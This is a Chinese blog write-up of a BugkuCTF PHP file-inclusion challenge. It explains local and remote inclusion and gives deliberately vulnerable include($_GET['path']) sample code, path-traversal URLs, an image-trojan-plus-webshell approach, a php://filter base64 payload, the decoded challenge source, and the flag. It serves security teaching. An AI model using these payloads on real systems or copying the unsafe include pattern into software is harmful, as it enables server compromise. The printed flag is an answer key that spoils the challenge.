07BugkuCTF的文件包含项目

进入BugkuCTF之前我们先了解一下文件包含的基础知识。

一、文件包含

1.概念
文件包含:程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。
2.PHP 中的⽂件包含语句
PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:

语句区别
include()多次包含,如果包含失败,脚本产⽣警告,继续运⾏。
include_once()⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。
require()多次包含,如果包含失败,脚本产⽣错误,结束执⾏。
require_once()⼀次包含,如果包含失败,脚本产⽣错误,结束执⾏。

相应配置:
⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。
通俗来讲,本地⽂件包含就是可以读取和打开本地⽂件,远程⽂件包含就是可以远程(⽅式)加载⽂件。
可通过php的配置文件php.ini中的选项进行配置

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件
allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

php.ini
包含示例:
示例代码:

// fileInclusion.php
if(!empty($_GET['path'])){
 include $_GET['path'];
}else{
 echo "?path=./info.php"; }

本地文件包含:

http://192.168.16.109/fileInclusion/fileInclusion.php?path=./info.php

在这里插入图片描述
远程⽂件包含

http://localhost/fileInclusion/fileInclusion.php?
path=http://192.168.16.109/phpinfo.php

2.漏洞原理及特点
优点:PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。
缺点:会产生文件包含漏洞
漏洞原理:文件包含配置(php.ini)、动态调用、客户端可控。
特点:
⽆视⽂件扩展名读取⽂件。

# 直接读取图⽚的源代码
http://192.168.48.139/fileInclusion/fileInclusion.php?
path=../DVWA\dvwa\images\login_logo.png

在这里插入图片描述

⽆条件解析PHP 代码

# 当读取到被包含⽂件的源码,如果遇到符合PHP 代码规范的内容,就会⽆条件执⾏
# 同时为图⽚⽊⻢提供了出路
http://192.168.48.139/fileInclusion/fileInclusion.php?path=1_2.jpg

可以和图片木马结合,来执行图片木马,完了用蚁剑连接。

二、BugkuCTF的文件包含项目

在这里插入图片描述

http://123.206.87.240:8005/post/

在这里插入图片描述
查看源代码发现没什么有用的信息。在这里插入图片描述
然后直接点击
在这里插入图片描述
发现地址/post/index.php?file=show.php。
怀疑此处纯在文件包含漏洞。
尝试包含自己:?file=index.php
在这里插入图片描述
然后base64编码去读源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
在这里插入图片描述

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg== 

复制然后用bp解码

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

拿到flag
/flag:flag{edulcni_elif_lacol_si_siht}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值